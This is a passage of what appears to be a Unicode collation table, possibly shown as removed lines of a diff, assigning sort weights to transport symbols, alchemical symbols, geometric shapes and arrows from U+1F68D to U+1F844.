-1F68D ; [*161D.0020.0002] # ONCOMING BUS
-1F68E ; [*161E.0020.0002] # TROLLEYBUS
-1F68F ; [*161F.0020.0002] # BUS STOP
-1F690 ; [*1620.0020.0002] # MINIBUS
-1F691 ; [*1621.0020.0002] # AMBULANCE
-1F692 ; [*1622.0020.0002] # FIRE ENGINE
-1F693 ; [*1623.0020.0002] # POLICE CAR
-1F694 ; [*1624.0020.0002] # ONCOMING POLICE CAR
-1F695 ; [*1625.0020.0002] # TAXI
-1F696 ; [*1626.0020.0002] # ONCOMING TAXI
-1F697 ; [*1627.0020.0002] # AUTOMOBILE
-1F698 ; [*1628.0020.0002] # ONCOMING AUTOMOBILE
-1F699 ; [*1629.0020.0002] # RECREATIONAL VEHICLE
-1F69A ; [*162A.0020.0002] # DELIVERY TRUCK
-1F69B ; [*162B.0020.0002] # ARTICULATED LORRY
-1F69C ; [*162C.0020.0002] # TRACTOR
-1F69D ; [*162D.0020.0002] # MONORAIL
-1F69E ; [*162E.0020.0002] # MOUNTAIN RAILWAY
-1F69F ; [*162F.0020.0002] # SUSPENSION RAILWAY
-1F6A0 ; [*1630.0020.0002] # MOUNTAIN CABLEWAY
-1F6A1 ; [*1631.0020.0002] # AERIAL TRAMWAY
-1F6A2 ; [*1632.0020.0002] # SHIP
-1F6A3 ; [*1633.0020.0002] # ROWBOAT
-1F6A4 ; [*1634.0020.0002] # SPEEDBOAT
-1F6A5 ; [*1635.0020.0002] # HORIZONTAL TRAFFIC LIGHT
-1F6A6 ; [*1636.0020.0002] # VERTICAL TRAFFIC LIGHT
-1F6A7 ; [*1637.0020.0002] # CONSTRUCTION SIGN
-1F6A8 ; [*1638.0020.0002] # POLICE CARS REVOLVING LIGHT
-1F6A9 ; [*1639.0020.0002] # TRIANGULAR FLAG ON POST
-1F6AA ; [*163A.0020.0002] # DOOR
-1F6AB ; [*163B.0020.0002] # NO ENTRY SIGN
-1F6AC ; [*163C.0020.0002] # SMOKING SYMBOL
-1F6AD ; [*163D.0020.0002] # NO SMOKING SYMBOL
-1F6AE ; [*163E.0020.0002] # PUT LITTER IN ITS PLACE SYMBOL
-1F6AF ; [*163F.0020.0002] # DO NOT LITTER SYMBOL
-1F6B0 ; [*1640.0020.0002] # POTABLE WATER SYMBOL
-1F6B1 ; [*1641.0020.0002] # NON-POTABLE WATER SYMBOL
-1F6B2 ; [*1642.0020.0002] # BICYCLE
-1F6B3 ; [*1643.0020.0002] # NO BICYCLES
-1F6B4 ; [*1644.0020.0002] # BICYCLIST
-1F6B5 ; [*1645.0020.0002] # MOUNTAIN BICYCLIST
-1F6B6 ; [*1646.0020.0002] # PEDESTRIAN
-1F6B7 ; [*1647.0020.0002] # NO PEDESTRIANS
-1F6B8 ; [*1648.0020.0002] # CHILDREN CROSSING
-1F6B9 ; [*1649.0020.0002] # MENS SYMBOL
-1F6BA ; [*164A.0020.0002] # WOMENS SYMBOL
-1F6BB ; [*164B.0020.0002] # RESTROOM
-1F6BC ; [*164C.0020.0002] # BABY SYMBOL
-1F6BD ; [*164D.0020.0002] # TOILET
-1F6BE ; [*164E.0020.0002] # WATER CLOSET
-1F6BF ; [*164F.0020.0002] # SHOWER
-1F6C0 ; [*1650.0020.0002] # BATH
-1F6C1 ; [*1651.0020.0002] # BATHTUB
-1F6C2 ; [*1652.0020.0002] # PASSPORT CONTROL
-1F6C3 ; [*1653.0020.0002] # CUSTOMS
-1F6C4 ; [*1654.0020.0002] # BAGGAGE CLAIM
-1F6C5 ; [*1655.0020.0002] # LEFT LUGGAGE
-1F6C6 ; [*1656.0020.0002] # TRIANGLE WITH ROUNDED CORNERS
-1F6C7 ; [*1657.0020.0002] # PROHIBITED SIGN
-1F6C8 ; [*1658.0020.0002] # CIRCLED INFORMATION SOURCE
-1F6C9 ; [*1659.0020.0002] # BOYS SYMBOL
-1F6CA ; [*165A.0020.0002] # GIRLS SYMBOL
-1F6CB ; [*165B.0020.0002] # COUCH AND LAMP
-1F6CC ; [*165C.0020.0002] # SLEEPING ACCOMMODATION
-1F6CD ; [*165D.0020.0002] # SHOPPING BAGS
-1F6CE ; [*165E.0020.0002] # BELLHOP BELL
-1F6CF ; [*165F.0020.0002] # BED
-1F6D0 ; [*1660.0020.0002] # PLACE OF WORSHIP
-1F6E0 ; [*1661.0020.0002] # HAMMER AND WRENCH
-1F6E1 ; [*1662.0020.0002] # SHIELD
-1F6E2 ; [*1663.0020.0002] # OIL DRUM
-1F6E3 ; [*1664.0020.0002] # MOTORWAY
-1F6E4 ; [*1665.0020.0002] # RAILWAY TRACK
-1F6E5 ; [*1666.0020.0002] # MOTOR BOAT
-1F6E6 ; [*1667.0020.0002] # UP-POINTING MILITARY AIRPLANE
-1F6E7 ; [*1668.0020.0002] # UP-POINTING AIRPLANE
-1F6E8 ; [*1669.0020.0002] # UP-POINTING SMALL AIRPLANE
-1F6E9 ; [*166A.0020.0002] # SMALL AIRPLANE
-1F6EA ; [*166B.0020.0002] # NORTHEAST-POINTING AIRPLANE
-1F6EB ; [*166C.0020.0002] # AIRPLANE DEPARTURE
-1F6EC ; [*166D.0020.0002] # AIRPLANE ARRIVING
-1F6F0 ; [*166E.0020.0002] # SATELLITE
-1F6F1 ; [*166F.0020.0002] # ONCOMING FIRE ENGINE
-1F6F2 ; [*1670.0020.0002] # DIESEL LOCOMOTIVE
-1F6F3 ; [*1671.0020.0002] # PASSENGER SHIP
-1F700 ; [*1672.0020.0002] # ALCHEMICAL SYMBOL FOR QUINTESSENCE
-1F701 ; [*1673.0020.0002] # ALCHEMICAL SYMBOL FOR AIR
-1F702 ; [*1674.0020.0002] # ALCHEMICAL SYMBOL FOR FIRE
-1F703 ; [*1675.0020.0002] # ALCHEMICAL SYMBOL FOR EARTH
-1F704 ; [*1676.0020.0002] # ALCHEMICAL SYMBOL FOR WATER
-1F705 ; [*1677.0020.0002] # ALCHEMICAL SYMBOL FOR AQUAFORTIS
-1F706 ; [*1678.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA
-1F707 ; [*1679.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA REGIA-2
-1F708 ; [*167A.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE
-1F709 ; [*167B.0020.0002] # ALCHEMICAL SYMBOL FOR AQUA VITAE-2
-1F70A ; [*167C.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR
-1F70B ; [*167D.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-2
-1F70C ; [*167E.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR-3
-1F70D ; [*167F.0020.0002] # ALCHEMICAL SYMBOL FOR SULFUR
-1F70E ; [*1680.0020.0002] # ALCHEMICAL SYMBOL FOR PHILOSOPHERS SULFUR
-1F70F ; [*1681.0020.0002] # ALCHEMICAL SYMBOL FOR BLACK SULFUR
-1F710 ; [*1682.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE
-1F711 ; [*1683.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-2
-1F712 ; [*1684.0020.0002] # ALCHEMICAL SYMBOL FOR MERCURY SUBLIMATE-3
-1F713 ; [*1685.0020.0002] # ALCHEMICAL SYMBOL FOR CINNABAR
-1F714 ; [*1686.0020.0002] # ALCHEMICAL SYMBOL FOR SALT
-1F715 ; [*1687.0020.0002] # ALCHEMICAL SYMBOL FOR NITRE
-1F716 ; [*1688.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL
-1F717 ; [*1689.0020.0002] # ALCHEMICAL SYMBOL FOR VITRIOL-2
-1F718 ; [*168A.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT
-1F719 ; [*168B.0020.0002] # ALCHEMICAL SYMBOL FOR ROCK SALT-2
-1F71A ; [*168C.0020.0002] # ALCHEMICAL SYMBOL FOR GOLD
-1F71B ; [*168D.0020.0002] # ALCHEMICAL SYMBOL FOR SILVER
-1F71C ; [*168E.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE
-1F71D ; [*168F.0020.0002] # ALCHEMICAL SYMBOL FOR IRON ORE-2
-1F71E ; [*1690.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF IRON
-1F71F ; [*1691.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF IRON
-1F720 ; [*1692.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ORE
-1F721 ; [*1693.0020.0002] # ALCHEMICAL SYMBOL FOR IRON-COPPER ORE
-1F722 ; [*1694.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF COPPER
-1F723 ; [*1695.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER
-1F724 ; [*1696.0020.0002] # ALCHEMICAL SYMBOL FOR CROCUS OF COPPER-2
-1F725 ; [*1697.0020.0002] # ALCHEMICAL SYMBOL FOR COPPER ANTIMONIATE
-1F726 ; [*1698.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF COPPER ANTIMONIATE
-1F727 ; [*1699.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF COPPER
-1F728 ; [*169A.0020.0002] # ALCHEMICAL SYMBOL FOR VERDIGRIS
-1F729 ; [*169B.0020.0002] # ALCHEMICAL SYMBOL FOR TIN ORE
-1F72A ; [*169C.0020.0002] # ALCHEMICAL SYMBOL FOR LEAD ORE
-1F72B ; [*169D.0020.0002] # ALCHEMICAL SYMBOL FOR ANTIMONY ORE
-1F72C ; [*169E.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF ANTIMONY
-1F72D ; [*169F.0020.0002] # ALCHEMICAL SYMBOL FOR SALT OF ANTIMONY
-1F72E ; [*16A0.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATE OF SALT OF ANTIMONY
-1F72F ; [*16A1.0020.0002] # ALCHEMICAL SYMBOL FOR VINEGAR OF ANTIMONY
-1F730 ; [*16A2.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY
-1F731 ; [*16A3.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS OF ANTIMONY-2
-1F732 ; [*16A4.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS
-1F733 ; [*16A5.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-2
-1F734 ; [*16A6.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-3
-1F735 ; [*16A7.0020.0002] # ALCHEMICAL SYMBOL FOR REGULUS-4
-1F736 ; [*16A8.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI
-1F737 ; [*16A9.0020.0002] # ALCHEMICAL SYMBOL FOR ALKALI-2
-1F738 ; [*16AA.0020.0002] # ALCHEMICAL SYMBOL FOR MARCASITE
-1F739 ; [*16AB.0020.0002] # ALCHEMICAL SYMBOL FOR SAL-AMMONIAC
-1F73A ; [*16AC.0020.0002] # ALCHEMICAL SYMBOL FOR ARSENIC
-1F73B ; [*16AD.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR
-1F73C ; [*16AE.0020.0002] # ALCHEMICAL SYMBOL FOR REALGAR-2
-1F73D ; [*16AF.0020.0002] # ALCHEMICAL SYMBOL FOR AURIPIGMENT
-1F73E ; [*16B0.0020.0002] # ALCHEMICAL SYMBOL FOR BISMUTH ORE
-1F73F ; [*16B1.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR
-1F740 ; [*16B2.0020.0002] # ALCHEMICAL SYMBOL FOR TARTAR-2
-1F741 ; [*16B3.0020.0002] # ALCHEMICAL SYMBOL FOR QUICK LIME
-1F742 ; [*16B4.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX
-1F743 ; [*16B5.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-2
-1F744 ; [*16B6.0020.0002] # ALCHEMICAL SYMBOL FOR BORAX-3
-1F745 ; [*16B7.0020.0002] # ALCHEMICAL SYMBOL FOR ALUM
-1F746 ; [*16B8.0020.0002] # ALCHEMICAL SYMBOL FOR OIL
-1F747 ; [*16B9.0020.0002] # ALCHEMICAL SYMBOL FOR SPIRIT
-1F748 ; [*16BA.0020.0002] # ALCHEMICAL SYMBOL FOR TINCTURE
-1F749 ; [*16BB.0020.0002] # ALCHEMICAL SYMBOL FOR GUM
-1F74A ; [*16BC.0020.0002] # ALCHEMICAL SYMBOL FOR WAX
-1F74B ; [*16BD.0020.0002] # ALCHEMICAL SYMBOL FOR POWDER
-1F74C ; [*16BE.0020.0002] # ALCHEMICAL SYMBOL FOR CALX
-1F74D ; [*16BF.0020.0002] # ALCHEMICAL SYMBOL FOR TUTTY
-1F74E ; [*16C0.0020.0002] # ALCHEMICAL SYMBOL FOR CAPUT MORTUUM
-1F74F ; [*16C1.0020.0002] # ALCHEMICAL SYMBOL FOR SCEPTER OF JOVE
-1F750 ; [*16C2.0020.0002] # ALCHEMICAL SYMBOL FOR CADUCEUS
-1F751 ; [*16C3.0020.0002] # ALCHEMICAL SYMBOL FOR TRIDENT
-1F752 ; [*16C4.0020.0002] # ALCHEMICAL SYMBOL FOR STARRED TRIDENT
-1F753 ; [*16C5.0020.0002] # ALCHEMICAL SYMBOL FOR LODESTONE
-1F754 ; [*16C6.0020.0002] # ALCHEMICAL SYMBOL FOR SOAP
-1F755 ; [*16C7.0020.0002] # ALCHEMICAL SYMBOL FOR URINE
-1F756 ; [*16C8.0020.0002] # ALCHEMICAL SYMBOL FOR HORSE DUNG
-1F757 ; [*16C9.0020.0002] # ALCHEMICAL SYMBOL FOR ASHES
-1F758 ; [*16CA.0020.0002] # ALCHEMICAL SYMBOL FOR POT ASHES
-1F759 ; [*16CB.0020.0002] # ALCHEMICAL SYMBOL FOR BRICK
-1F75A ; [*16CC.0020.0002] # ALCHEMICAL SYMBOL FOR POWDERED BRICK
-1F75B ; [*16CD.0020.0002] # ALCHEMICAL SYMBOL FOR AMALGAM
-1F75C ; [*16CE.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM
-1F75D ; [*16CF.0020.0002] # ALCHEMICAL SYMBOL FOR STRATUM SUPER STRATUM-2
-1F75E ; [*16D0.0020.0002] # ALCHEMICAL SYMBOL FOR SUBLIMATION
-1F75F ; [*16D1.0020.0002] # ALCHEMICAL SYMBOL FOR PRECIPITATE
-1F760 ; [*16D2.0020.0002] # ALCHEMICAL SYMBOL FOR DISTILL
-1F761 ; [*16D3.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE
-1F762 ; [*16D4.0020.0002] # ALCHEMICAL SYMBOL FOR DISSOLVE-2
-1F763 ; [*16D5.0020.0002] # ALCHEMICAL SYMBOL FOR PURIFY
-1F764 ; [*16D6.0020.0002] # ALCHEMICAL SYMBOL FOR PUTREFACTION
-1F765 ; [*16D7.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE
-1F766 ; [*16D8.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-2
-1F767 ; [*16D9.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-3
-1F768 ; [*16DA.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-4
-1F769 ; [*16DB.0020.0002] # ALCHEMICAL SYMBOL FOR CRUCIBLE-5
-1F76A ; [*16DC.0020.0002] # ALCHEMICAL SYMBOL FOR ALEMBIC
-1F76B ; [*16DD.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF MARY
-1F76C ; [*16DE.0020.0002] # ALCHEMICAL SYMBOL FOR BATH OF VAPOURS
-1F76D ; [*16DF.0020.0002] # ALCHEMICAL SYMBOL FOR RETORT
-1F76E ; [*16E0.0020.0002] # ALCHEMICAL SYMBOL FOR HOUR
-1F76F ; [*16E1.0020.0002] # ALCHEMICAL SYMBOL FOR NIGHT
-1F770 ; [*16E2.0020.0002] # ALCHEMICAL SYMBOL FOR DAY-NIGHT
-1F771 ; [*16E3.0020.0002] # ALCHEMICAL SYMBOL FOR MONTH
-1F772 ; [*16E4.0020.0002] # ALCHEMICAL SYMBOL FOR HALF DRAM
-1F773 ; [*16E5.0020.0002] # ALCHEMICAL SYMBOL FOR HALF OUNCE
-1F780 ; [*16E6.0020.0002] # BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
-1F781 ; [*16E7.0020.0002] # BLACK UP-POINTING ISOSCELES RIGHT TRIANGLE
-1F782 ; [*16E8.0020.0002] # BLACK RIGHT-POINTING ISOSCELES RIGHT TRIANGLE
-1F783 ; [*16E9.0020.0002] # BLACK DOWN-POINTING ISOSCELES RIGHT TRIANGLE
-1F784 ; [*16EA.0020.0002] # BLACK SLIGHTLY SMALL CIRCLE
-1F785 ; [*16EB.0020.0002] # MEDIUM BOLD WHITE CIRCLE
-1F786 ; [*16EC.0020.0002] # BOLD WHITE CIRCLE
-1F787 ; [*16ED.0020.0002] # HEAVY WHITE CIRCLE
-1F788 ; [*16EE.0020.0002] # VERY HEAVY WHITE CIRCLE
-1F789 ; [*16EF.0020.0002] # EXTREMELY HEAVY WHITE CIRCLE
-1F78A ; [*16F0.0020.0002] # WHITE CIRCLE CONTAINING BLACK SMALL CIRCLE
-1F78B ; [*16F1.0020.0002] # ROUND TARGET
-1F78C ; [*16F2.0020.0002] # BLACK TINY SQUARE
-1F78D ; [*16F3.0020.0002] # BLACK SLIGHTLY SMALL SQUARE
-1F78E ; [*16F4.0020.0002] # LIGHT WHITE SQUARE
-1F78F ; [*16F5.0020.0002] # MEDIUM WHITE SQUARE
-1F790 ; [*16F6.0020.0002] # BOLD WHITE SQUARE
-1F791 ; [*16F7.0020.0002] # HEAVY WHITE SQUARE
-1F792 ; [*16F8.0020.0002] # VERY HEAVY WHITE SQUARE
-1F793 ; [*16F9.0020.0002] # EXTREMELY HEAVY WHITE SQUARE
-1F794 ; [*16FA.0020.0002] # WHITE SQUARE CONTAINING BLACK VERY SMALL SQUARE
-1F795 ; [*16FB.0020.0002] # WHITE SQUARE CONTAINING BLACK MEDIUM SQUARE
-1F796 ; [*16FC.0020.0002] # SQUARE TARGET
-1F797 ; [*16FD.0020.0002] # BLACK TINY DIAMOND
-1F798 ; [*16FE.0020.0002] # BLACK VERY SMALL DIAMOND
-1F799 ; [*16FF.0020.0002] # BLACK MEDIUM SMALL DIAMOND
-1F79A ; [*1700.0020.0002] # WHITE DIAMOND CONTAINING BLACK VERY SMALL DIAMOND
-1F79B ; [*1701.0020.0002] # WHITE DIAMOND CONTAINING BLACK MEDIUM DIAMOND
-1F79C ; [*1702.0020.0002] # DIAMOND TARGET
-1F79D ; [*1703.0020.0002] # BLACK TINY LOZENGE
-1F79E ; [*1704.0020.0002] # BLACK VERY SMALL LOZENGE
-1F79F ; [*1705.0020.0002] # BLACK MEDIUM SMALL LOZENGE
-1F7A0 ; [*1706.0020.0002] # WHITE LOZENGE CONTAINING BLACK SMALL LOZENGE
-1F7A1 ; [*1707.0020.0002] # THIN GREEK CROSS
-1F7A2 ; [*1708.0020.0002] # LIGHT GREEK CROSS
-1F7A3 ; [*1709.0020.0002] # MEDIUM GREEK CROSS
-1F7A4 ; [*170A.0020.0002] # BOLD GREEK CROSS
-1F7A5 ; [*170B.0020.0002] # VERY BOLD GREEK CROSS
-1F7A6 ; [*170C.0020.0002] # VERY HEAVY GREEK CROSS
-1F7A7 ; [*170D.0020.0002] # EXTREMELY HEAVY GREEK CROSS
-1F7A8 ; [*170E.0020.0002] # THIN SALTIRE
-1F7A9 ; [*170F.0020.0002] # LIGHT SALTIRE
-1F7AA ; [*1710.0020.0002] # MEDIUM SALTIRE
-1F7AB ; [*1711.0020.0002] # BOLD SALTIRE
-1F7AC ; [*1712.0020.0002] # HEAVY SALTIRE
-1F7AD ; [*1713.0020.0002] # VERY HEAVY SALTIRE
-1F7AE ; [*1714.0020.0002] # EXTREMELY HEAVY SALTIRE
-1F7AF ; [*1715.0020.0002] # LIGHT FIVE SPOKED ASTERISK
-1F7B0 ; [*1716.0020.0002] # MEDIUM FIVE SPOKED ASTERISK
-1F7B1 ; [*1717.0020.0002] # BOLD FIVE SPOKED ASTERISK
-1F7B2 ; [*1718.0020.0002] # HEAVY FIVE SPOKED ASTERISK
-1F7B3 ; [*1719.0020.0002] # VERY HEAVY FIVE SPOKED ASTERISK
-1F7B4 ; [*171A.0020.0002] # EXTREMELY HEAVY FIVE SPOKED ASTERISK
-1F7B5 ; [*171B.0020.0002] # LIGHT SIX SPOKED ASTERISK
-1F7B6 ; [*171C.0020.0002] # MEDIUM SIX SPOKED ASTERISK
-1F7B7 ; [*171D.0020.0002] # BOLD SIX SPOKED ASTERISK
-1F7B8 ; [*171E.0020.0002] # HEAVY SIX SPOKED ASTERISK
-1F7B9 ; [*171F.0020.0002] # VERY HEAVY SIX SPOKED ASTERISK
-1F7BA ; [*1720.0020.0002] # EXTREMELY HEAVY SIX SPOKED ASTERISK
-1F7BB ; [*1721.0020.0002] # LIGHT EIGHT SPOKED ASTERISK
-1F7BC ; [*1722.0020.0002] # MEDIUM EIGHT SPOKED ASTERISK
-1F7BD ; [*1723.0020.0002] # BOLD EIGHT SPOKED ASTERISK
-1F7BE ; [*1724.0020.0002] # HEAVY EIGHT SPOKED ASTERISK
-1F7BF ; [*1725.0020.0002] # VERY HEAVY EIGHT SPOKED ASTERISK
-1F7C0 ; [*1726.0020.0002] # LIGHT THREE POINTED BLACK STAR
-1F7C1 ; [*1727.0020.0002] # MEDIUM THREE POINTED BLACK STAR
-1F7C2 ; [*1728.0020.0002] # THREE POINTED BLACK STAR
-1F7C3 ; [*1729.0020.0002] # MEDIUM THREE POINTED PINWHEEL STAR
-1F7C4 ; [*172A.0020.0002] # LIGHT FOUR POINTED BLACK STAR
-1F7C5 ; [*172B.0020.0002] # MEDIUM FOUR POINTED BLACK STAR
-1F7C6 ; [*172C.0020.0002] # FOUR POINTED BLACK STAR
-1F7C7 ; [*172D.0020.0002] # MEDIUM FOUR POINTED PINWHEEL STAR
-1F7C8 ; [*172E.0020.0002] # REVERSE LIGHT FOUR POINTED PINWHEEL STAR
-1F7C9 ; [*172F.0020.0002] # LIGHT FIVE POINTED BLACK STAR
-1F7CA ; [*1730.0020.0002] # HEAVY FIVE POINTED BLACK STAR
-1F7CB ; [*1731.0020.0002] # MEDIUM SIX POINTED BLACK STAR
-1F7CC ; [*1732.0020.0002] # HEAVY SIX POINTED BLACK STAR
-1F7CD ; [*1733.0020.0002] # SIX POINTED PINWHEEL STAR
-1F7CE ; [*1734.0020.0002] # MEDIUM EIGHT POINTED BLACK STAR
-1F7CF ; [*1735.0020.0002] # HEAVY EIGHT POINTED BLACK STAR
-1F7D0 ; [*1736.0020.0002] # VERY HEAVY EIGHT POINTED BLACK STAR
-1F7D1 ; [*1737.0020.0002] # HEAVY EIGHT POINTED PINWHEEL STAR
-1F7D2 ; [*1738.0020.0002] # LIGHT TWELVE POINTED BLACK STAR
-1F7D3 ; [*1739.0020.0002] # HEAVY TWELVE POINTED BLACK STAR
-1F7D4 ; [*173A.0020.0002] # HEAVY TWELVE POINTED PINWHEEL STAR
-1F800 ; [*173B.0020.0002] # LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
-1F801 ; [*173C.0020.0002] # UPWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
-1F802 ; [*173D.0020.0002] # RIGHTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
-1F803 ; [*173E.0020.0002] # DOWNWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
-1F804 ; [*173F.0020.0002] # LEFTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
-1F805 ; [*1740.0020.0002] # UPWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
-1F806 ; [*1741.0020.0002] # RIGHTWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
-1F807 ; [*1742.0020.0002] # DOWNWARDS ARROW WITH MEDIUM TRIANGLE ARROWHEAD
-1F808 ; [*1743.0020.0002] # LEFTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
-1F809 ; [*1744.0020.0002] # UPWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
-1F80A ; [*1745.0020.0002] # RIGHTWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
-1F80B ; [*1746.0020.0002] # DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
-1F810 ; [*1747.0020.0002] # LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
-1F811 ; [*1748.0020.0002] # UPWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
-1F812 ; [*1749.0020.0002] # RIGHTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
-1F813 ; [*174A.0020.0002] # DOWNWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD
-1F814 ; [*174B.0020.0002] # LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F815 ; [*174C.0020.0002] # UPWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F816 ; [*174D.0020.0002] # RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F817 ; [*174E.0020.0002] # DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F818 ; [*174F.0020.0002] # HEAVY LEFTWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F819 ; [*1750.0020.0002] # HEAVY UPWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F81A ; [*1751.0020.0002] # HEAVY RIGHTWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F81B ; [*1752.0020.0002] # HEAVY DOWNWARDS ARROW WITH EQUILATERAL ARROWHEAD
-1F81C ; [*1753.0020.0002] # HEAVY LEFTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
-1F81D ; [*1754.0020.0002] # HEAVY UPWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
-1F81E ; [*1755.0020.0002] # HEAVY RIGHTWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
-1F81F ; [*1756.0020.0002] # HEAVY DOWNWARDS ARROW WITH LARGE EQUILATERAL ARROWHEAD
-1F820 ; [*1757.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
-1F821 ; [*1758.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
-1F822 ; [*1759.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
-1F823 ; [*175A.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH NARROW SHAFT
-1F824 ; [*175B.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
-1F825 ; [*175C.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
-1F826 ; [*175D.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
-1F827 ; [*175E.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH MEDIUM SHAFT
-1F828 ; [*175F.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
-1F829 ; [*1760.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
-1F82A ; [*1761.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
-1F82B ; [*1762.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH BOLD SHAFT
-1F82C ; [*1763.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
-1F82D ; [*1764.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
-1F82E ; [*1765.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
-1F82F ; [*1766.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH HEAVY SHAFT
-1F830 ; [*1767.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
-1F831 ; [*1768.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
-1F832 ; [*1769.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
-1F833 ; [*176A.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH VERY HEAVY SHAFT
-1F834 ; [*176B.0020.0002] # LEFTWARDS FINGER-POST ARROW
-1F835 ; [*176C.0020.0002] # UPWARDS FINGER-POST ARROW
-1F836 ; [*176D.0020.0002] # RIGHTWARDS FINGER-POST ARROW
-1F837 ; [*176E.0020.0002] # DOWNWARDS FINGER-POST ARROW
-1F838 ; [*176F.0020.0002] # LEFTWARDS SQUARED ARROW
-1F839 ; [*1770.0020.0002] # UPWARDS SQUARED ARROW
-1F83A ; [*1771.0020.0002] # RIGHTWARDS SQUARED ARROW
-1F83B ; [*1772.0020.0002] # DOWNWARDS SQUARED ARROW
-1F83C ; [*1773.0020.0002] # LEFTWARDS COMPRESSED ARROW
-1F83D ; [*1774.0020.0002] # UPWARDS COMPRESSED ARROW
-1F83E ; [*1775.0020.0002] # RIGHTWARDS COMPRESSED ARROW
-1F83F ; [*1776.0020.0002] # DOWNWARDS COMPRESSED ARROW
-1F840 ; [*1777.0020.0002] # LEFTWARDS HEAVY COMPRESSED ARROW
-1F841 ; [*1778.0020.0002] # UPWARDS HEAVY COMPRESSED ARROW
-1F842 ; [*1779.0020.0002] # RIGHTWARDS HEAVY COMPRESSED ARROW
-1F843 ; [*177A.0020.0002] # DOWNWARDS HEAVY COMPRESSED ARROW
-1F844 ; [*177B.0020.0002] # LEFTWARDS HEAVY ARROW
